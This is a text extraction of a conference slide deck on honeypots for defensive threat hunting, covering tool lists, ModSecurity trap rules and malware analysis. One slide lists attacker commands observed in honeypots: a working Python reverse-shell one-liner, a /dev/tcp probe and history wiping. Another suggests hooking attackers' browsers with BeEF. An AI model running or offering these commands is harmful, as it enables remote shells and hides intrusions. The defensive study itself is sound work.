SlideShare a Scribd company logo
1 of 30
Download to read offline
Leszek Miś
Honey(pot) flavored hunt for cyber enemy.
Defensive Security/Collective Sense
# Leszek Miś
●
Founder @ Defensive-Security.com
●
Chief Security Architect @ Collective-Sense
●
Offensive Security Certified Professional
●
RHCA/RHCSS/RHCX/Sec+
●
ISSA/OWASP Poland Member
●
Focusing mostly on:
– Linux & Network Security
– Web Application Security
– Penetration testing
– Hardened IT Infrastructure (SSO/IdM/HIDS/)
– Linux forensics
# Agenda
●
Needs
●
Honeypots
●
Summary
# Needs
●
Active defense
●
Early infrastructure enumeration phase detection
●
Active/passive detection of vulnerable systems/services/apps
●
Creating baseline profiles:
– High level network traffic profiling
– Systems and network devices behavioral profiling
●
Security incident response evaluation
●
Forensics data analysis
# Needs
●
Correlation and active event analysis of multiple layers:
– Netflow + Passive DNS:
• Network billing
• Who?, what?, when?, where?
+ whois, nmap, etc.
# Needs
●
Correlation and active event analysis of multiple layers:
– Netflow / Passive DNS
– Deep Packet Inspection / Full Packet Capture:
• Glibc DNS resolver bug
• Heartbleed / Shellshock / Poodle
• SSL Self-signed / MiTM
• Metasploit detection
• Tunneling / pivoting, sending files through ICMP/DNS packets
• Powershell attacks
• Pass-The-Hash attack
• Port scanning
• IP reputation
• TOR detection
• Brute force attacks
• DHCP Rouge Server
• Fake WLAN AP
# Needs
●
Correlation and active event analysis of multiple layers:
– Netflow / Passive DNS
– Deep Packet Inspection / Full Packet Capture
– Logs/events mgmt:
• OS: auditd, SELinux/Apparmor, systemtap, sysdig
• Services: crashes
• Web application
• Switches and routers
+ OSSEC, Splunk, AlienVault, ELK.
# Needs
●
Correlation and active event analysis of multiple layers:
– Netflow / Passive DNS
– Deep Packet Inspection / Full Packet Capture
– Logs/events mgmt
– Memory forensics:
• Volatility Framework, GRR
– critical systems?
– daily ? weekly? monthly? quarterly?
"To hack companies, persistence isn't needed since
companies never sleep. I always use Duqu 2 style
"persistence", executing in RAM on a couple high-uptime
servers." - how Hacking Team was compromised.
...and... honeypots:>
# Honeypots
●
Supporters and opponents;)
●
Supplementing the prior techniques
●
To see what they do when they get in and how they get in
●
Do it right:
●
Multiple honey-hosts somehow connected together
●
Isolated, hardened & firewalled (Apate LKM/sysdig/systemtap)
●
Low hanging fruits, but not too low:>
●
Active observation:
●
Network pivoting between subnets
●
Commands, tricks, C&C IP, vulns, exploits
●
Internally sending malicious payload, injecting code
# Honeypots – tricks/commands
●
echo </dev/tcp/10.0.0.1/23
●
ln -s .bash_history /dev/null
●
ssh -f -N -L 4444:127.0.0.1:9000 -l superman 192.168.80.1
●
snapscreenshot -c1 -x1
●
python -c ‘import pty; pty.spawn(“/bin/sh”)’
●
python -c 'import
socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,s
ocket.SOCK_STREAM);s.connect(("fe80::42:acff:fe11:3%eth0"
,2222,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
●
Scripts, shellcodes, binaries, lot of stuff
# Honeypots - questions
●
Placement:
●
External net
●
Local net
●
Dedicated network/environemnt
●
Active network monitoring options:
●
Suricata/Snort/Bro-IDS/p0f
●
Tcpdump/wireshark
●
Environment:
●
Bare metal
●
VM and/or containers
●
Sharing data?
# Low interaction honeypots
●
Simulating real services
●
Detectable, incompleted
●
The „feel” that connection behaviour is weird
●
Just for observing moves
●
Examples:
●
SSH Kippo:
●
userdb.txt: root:123456
●
server hostname: root@host3
●
service banner
●
FS structure
– auxiliary/scanner/ssh/detect_kippo normal ?
# Low interaction honeypots
●
Kippo Log Replay Alert Script
# Low interaction honeypots
●
Cowrie:
●
Based on Kippo
●
SFTP and SCP support for file upload
●
Supports for SSH exec commands
●
Saves downloaded files for inspection
●
Amun:
●
Emulates SMB vulns
●
Mimics response and detects shellcode:
●
Bindshell
●
Reverse shell
●
+ cmd.exe
# Low interaction honeypots
●
Honeydrive – honeypot Linux distro:
– Dionaea → SMB, FTP, TFTP, MySQL, SIP, SDP
– InetSim → HTTP, SMTP, POP3, DNS, NTP, IRC...
– Amun → SMB (SQL Slammer, Conficker)
– Honeyd → virtual hosts, up 65535 on LAN
– Glastopf, Wordpot, Shockpot – webapp honeypots
– Espot/ElasticHoney – elasticsearch (CVE-2014-3120/CVE-2015-
1427)
– Conpot - SCADA/ICS
– Thug – honeyclient, mimicing the behavior of a web browser
– PhoneyC
+ Kippo-Graph, Honeyd-Viz, DionaeaFR
# Low interaction honeypots
●
Portspoof by Piotr Duszyński:
●
SYN+ACK for every port connection attempt
●
Userspace, no root
●
Signature database (>9000)
●
Binds to only one port + iptables
●
Attack the attackers:
●
ex. exploits nmap http-domino-enum-pass NSE script
Please, do not use it when you are using standard ports for your real services:>
# High interaction honeypots
●
Intentionally left almost-vulnerable toys:>
●
For observing real attacks, require monitoring
●
Able to detect 0-days
●
Part of production, real VM/PHY:
●
OS:
●
some suid files, some CAP_* files, some hidden credentials
●
Database:
●
fake table in real DB instance, fake user
●
Active Directory:
●
fake Domain admin account for PTH detection
●
Web application:
●
fake, hidden admin=”false” form value, fake login panels, fake java applet
●
Service proxy
# High interaction honeypots
●
Web application honeypot using modsecurity:
# High interaction honeypots
●
Web application honeypot using modsecurity:
SecRule STREAM_OUTPUT_BODY "@rsub s/</form>/<input type="hidden"
name="debug" value="false"></form>/"
"id:'999009',phase:4,t:none,nolog,pass"
SecRule ARGS:debug "!@streq false"
"id:'999010',phase:2,t:none,log,block,msg:'HoneyTrap Alert: Fake HIDDEN
Form Data Manipulated.',setvar:ip.malicious_client=1"
------
SecRule ARGS_POST:password "@pmFromFile honey-passwords.txt"
"setenv:tag=suspicious,phase:2,id:'7',msg:'Honey-password value: %
{matched_var}',log,auditlog,deny"
– action: proxy:honeypot, redirect
# High interaction honeypots
●
Web application honeypot using modsecurity:
●
We all do like beef, don’t we?
●
Let’s inject some hook.js to the attackers!
# High interaction honeypots
●
HonSSH:
●
Some kind of MiTM/Proxy server
●
Two separate SSH connections between attacker and honeypot
# HoneyStacks
●
MHN – dedicated platform
# HoneyStacks
●
MHN:
●
Community
●
Sharing events data: opendata
●
Stats:
●
42 countries
●
>1.2M events per day
●
~ 3k honeypots
●
~ 270M events
# HoneyStacks
●
T-Pot – Multi-Honeypot Platform + http://sicherheitstacho.eu/
# HoneyStacks
●
Tango honeypot intelligence:
●
Splunk based
●
Session playlog
●
GEO, session, time, files
●
username/passwords
●
Malware analysis
# Honeypots
●
Some other interesting sweet honeytools:
●
Qebek – QEMU based
●
Argos – emulator for capturing 0-day
●
mitmproxy
●
Ghost USB honeypot
●
GasPOT - simulate a Veeder Root Gaurdian AST
●
GridPOT – electric grid honeynets
●
Karma / Fake AP / Real AP as honeyAP
https://github.com/paralax/awesome-honeypots
# When we got files, malware samples, then
●
Peepdf:
●
PDF file analysis
●
Cuckoo Sandbox:
●
Virus Total integration
●
Yara: meta + string + condition
●
Limon Sandbox:
●
Linux malware analysis sandbox:
●
Before, during and after execution
●
Memrory, static, dynamic analysis
# Summary
●
Fun;-)
●
Understand the intruder’s intentions
●
Increased visibility
●
Capture malware samples for analysis
●
The correlation of different data sources is the key
●
Slow down an attacker’s progress
Leszek Miś
http://defensive-security.com
leszek.mis@defensive-security.com

More Related Content

What's hot

An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015CODE BLUE
 
CSW2017 Geshev+Miller logic bug hunting in chrome on android
CSW2017 Geshev+Miller logic bug hunting in chrome on androidCSW2017 Geshev+Miller logic bug hunting in chrome on android
CSW2017 Geshev+Miller logic bug hunting in chrome on androidCanSecWest
 
HackInBo2k16 - Threat Intelligence and Malware Analysis
HackInBo2k16 - Threat Intelligence and Malware AnalysisHackInBo2k16 - Threat Intelligence and Malware Analysis
HackInBo2k16 - Threat Intelligence and Malware AnalysisAntonio Parata
 
SWAT Style – Live Network Crypto Hacking and Exploitation by Kevin Cardwell a...
SWAT Style – Live Network Crypto Hacking and Exploitation by Kevin Cardwell a...SWAT Style – Live Network Crypto Hacking and Exploitation by Kevin Cardwell a...
SWAT Style – Live Network Crypto Hacking and Exploitation by Kevin Cardwell a...EC-Council
 
Basic Malware Analysis
Basic Malware AnalysisBasic Malware Analysis
Basic Malware AnalysisAlbert Hui
 
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin MagazineNIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin MagazineAditya K Sood
 
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?
HackInTheBox -  AMS 2011 , Spying on SpyEye - What Lies Beneath ?HackInTheBox -  AMS 2011 , Spying on SpyEye - What Lies Beneath ?
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?Aditya K Sood
 
Web security for developers
Web security for developersWeb security for developers
Web security for developersSunny Neo
 
Revealing the Attack Operations Targeting Japan by Shusei Tomonaga & Yuu Nak...
Revealing the Attack Operations Targeting Japan by  Shusei Tomonaga & Yuu Nak...Revealing the Attack Operations Targeting Japan by  Shusei Tomonaga & Yuu Nak...
Revealing the Attack Operations Targeting Japan by Shusei Tomonaga & Yuu Nak...CODE BLUE
 
When the internet bleeded : RootConf 2014
When the internet bleeded : RootConf 2014When the internet bleeded : RootConf 2014
When the internet bleeded : RootConf 2014Anant Shrivastava
 
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...Chris Gates
 
Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemRoss Wolf
 
Learning by hacking - android application hacking tutorial
Learning by hacking - android application hacking tutorialLearning by hacking - android application hacking tutorial
Learning by hacking - android application hacking tutorialLandice Fu
 
Csw2017 bazhaniuk exploring_yoursystemdeeper_updated
Csw2017 bazhaniuk exploring_yoursystemdeeper_updatedCsw2017 bazhaniuk exploring_yoursystemdeeper_updated
Csw2017 bazhaniuk exploring_yoursystemdeeper_updatedCanSecWest
 
[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security HeadersOWASP
 
[OWASP Poland Day] Application frameworks' vulnerabilities
[OWASP Poland Day] Application frameworks' vulnerabilities[OWASP Poland Day] Application frameworks' vulnerabilities
[OWASP Poland Day] Application frameworks' vulnerabilitiesOWASP
 
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...RootedCON
 

What's hot (20)

An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
 
CSW2017 Geshev+Miller logic bug hunting in chrome on android
CSW2017 Geshev+Miller logic bug hunting in chrome on androidCSW2017 Geshev+Miller logic bug hunting in chrome on android
CSW2017 Geshev+Miller logic bug hunting in chrome on android
 
HackInBo2k16 - Threat Intelligence and Malware Analysis
HackInBo2k16 - Threat Intelligence and Malware AnalysisHackInBo2k16 - Threat Intelligence and Malware Analysis
HackInBo2k16 - Threat Intelligence and Malware Analysis
 
SWAT Style – Live Network Crypto Hacking and Exploitation by Kevin Cardwell a...
SWAT Style – Live Network Crypto Hacking and Exploitation by Kevin Cardwell a...SWAT Style – Live Network Crypto Hacking and Exploitation by Kevin Cardwell a...
SWAT Style – Live Network Crypto Hacking and Exploitation by Kevin Cardwell a...
 
Basic Malware Analysis
Basic Malware AnalysisBasic Malware Analysis
Basic Malware Analysis
 
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin MagazineNIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
 
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?
HackInTheBox -  AMS 2011 , Spying on SpyEye - What Lies Beneath ?HackInTheBox -  AMS 2011 , Spying on SpyEye - What Lies Beneath ?
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?
 
Antivirus is hopeless
Antivirus is hopelessAntivirus is hopeless
Antivirus is hopeless
 
Web security for developers
Web security for developersWeb security for developers
Web security for developers
 
Revealing the Attack Operations Targeting Japan by Shusei Tomonaga & Yuu Nak...
Revealing the Attack Operations Targeting Japan by  Shusei Tomonaga & Yuu Nak...Revealing the Attack Operations Targeting Japan by  Shusei Tomonaga & Yuu Nak...
Revealing the Attack Operations Targeting Japan by Shusei Tomonaga & Yuu Nak...
 
When the internet bleeded : RootConf 2014
When the internet bleeded : RootConf 2014When the internet bleeded : RootConf 2014
When the internet bleeded : RootConf 2014
 
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
 
Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find Them
 
Learning by hacking - android application hacking tutorial
Learning by hacking - android application hacking tutorialLearning by hacking - android application hacking tutorial
Learning by hacking - android application hacking tutorial
 
Csw2017 bazhaniuk exploring_yoursystemdeeper_updated
Csw2017 bazhaniuk exploring_yoursystemdeeper_updatedCsw2017 bazhaniuk exploring_yoursystemdeeper_updated
Csw2017 bazhaniuk exploring_yoursystemdeeper_updated
 
[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers
 
[OWASP Poland Day] Application frameworks' vulnerabilities
[OWASP Poland Day] Application frameworks' vulnerabilities[OWASP Poland Day] Application frameworks' vulnerabilities
[OWASP Poland Day] Application frameworks' vulnerabilities
 
Kali net hunter
Kali net hunterKali net hunter
Kali net hunter
 
Buffer Overflow Attacks
Buffer Overflow AttacksBuffer Overflow Attacks
Buffer Overflow Attacks
 
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...
 

Similar to [CONFidence 2016] Leszek Miś - Honey(pot) flavored hunt for cyber enemy

Cracking Into Embedded Devices - HACK.LU 2K8
Cracking Into Embedded Devices - HACK.LU 2K8Cracking Into Embedded Devices - HACK.LU 2K8
Cracking Into Embedded Devices - HACK.LU 2K8guest441c58b71
 
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...grecsl
 
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...Felipe Prado
 
RIoT (Raiding Internet of Things) by Jacob Holcomb
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob HolcombPriyanka Aash
 
BSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad GuysBSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad GuysJoff Thyer
 
Multi-Layer DDoS Mitigation Strategies
Multi-Layer DDoS Mitigation StrategiesMulti-Layer DDoS Mitigation Strategies
Multi-Layer DDoS Mitigation StrategiesSagi Brody
 
Hunting for APT in network logs workshop presentation
Hunting for APT in network logs workshop presentationHunting for APT in network logs workshop presentation
Hunting for APT in network logs workshop presentationOlehLevytskyi1
 
Security research over Windows #defcon china
Security research over Windows #defcon chinaSecurity research over Windows #defcon china
Security research over Windows #defcon chinaPeter Hlavaty
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangLyon Yang
 
Shameful secrets of proprietary network protocols
Shameful secrets of proprietary network protocolsShameful secrets of proprietary network protocols
Shameful secrets of proprietary network protocolsSlawomir Jasek
 
Php Inside - confoo 2011 - Derick Rethans
Php Inside -  confoo 2011 - Derick RethansPhp Inside -  confoo 2011 - Derick Rethans
Php Inside - confoo 2011 - Derick RethansBachkoutou Toutou
 

Similar to [CONFidence 2016] Leszek Miś - Honey(pot) flavored hunt for cyber enemy (20)

Cracking Into Embedded Devices - HACK.LU 2K8
Cracking Into Embedded Devices - HACK.LU 2K8Cracking Into Embedded Devices - HACK.LU 2K8
Cracking Into Embedded Devices - HACK.LU 2K8
 
Flipping the script
Flipping the scriptFlipping the script
Flipping the script
 
Nikto
NiktoNikto
Nikto
 
Linux Hardening - nullhyd
Linux Hardening - nullhydLinux Hardening - nullhyd
Linux Hardening - nullhyd
 
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
 
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
 
RAT - Repurposing Adversarial Tradecraft
RAT - Repurposing Adversarial TradecraftRAT - Repurposing Adversarial Tradecraft
RAT - Repurposing Adversarial Tradecraft
 
RIoT (Raiding Internet of Things) by Jacob Holcomb
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob Holcomb
 
Web security 101
Web security 101Web security 101
Web security 101
 
Websec
WebsecWebsec
Websec
 
BSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad GuysBSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad Guys
 
Multi-Layer DDoS Mitigation Strategies
Multi-Layer DDoS Mitigation StrategiesMulti-Layer DDoS Mitigation Strategies
Multi-Layer DDoS Mitigation Strategies
 
Hunting for APT in network logs workshop presentation
Hunting for APT in network logs workshop presentationHunting for APT in network logs workshop presentation
Hunting for APT in network logs workshop presentation
 
SOHOpelessly Broken
SOHOpelessly BrokenSOHOpelessly Broken
SOHOpelessly Broken
 
Security research over Windows #defcon china
Security research over Windows #defcon chinaSecurity research over Windows #defcon china
Security research over Windows #defcon china
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
 
Shameful secrets of proprietary network protocols
Shameful secrets of proprietary network protocolsShameful secrets of proprietary network protocols
Shameful secrets of proprietary network protocols
 
I hunt sys admins 2.0
I hunt sys admins 2.0I hunt sys admins 2.0
I hunt sys admins 2.0
 
Php Inside - confoo 2011 - Derick Rethans
Php Inside -  confoo 2011 - Derick RethansPhp Inside -  confoo 2011 - Derick Rethans
Php Inside - confoo 2011 - Derick Rethans
 
Comprehensive guide for compromising network devices.
Comprehensive guide for compromising network devices.Comprehensive guide for compromising network devices.
Comprehensive guide for compromising network devices.
 

Recently uploaded

Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
Bluetooth Controlled Car with Arduino.pdf
Bluetooth Controlled Car with Arduino.pdfBluetooth Controlled Car with Arduino.pdf
Bluetooth Controlled Car with Arduino.pdfngoud9212
 
Science&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfScience&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfjimielynbastida
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024The Digital Insurer
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Unlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsUnlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsPrecisely
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxnull - The Open Security Community
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 

Recently uploaded (20)

Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
Bluetooth Controlled Car with Arduino.pdf
Bluetooth Controlled Car with Arduino.pdfBluetooth Controlled Car with Arduino.pdf
Bluetooth Controlled Car with Arduino.pdf
 
Science&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfScience&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdf
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptxVulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
Unlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsUnlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power Systems
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 

[CONFidence 2016] Leszek Miś - Honey(pot) flavored hunt for cyber enemy

  • 1. Leszek Miś Honey(pot) flavored hunt for cyber enemy. Defensive Security/Collective Sense
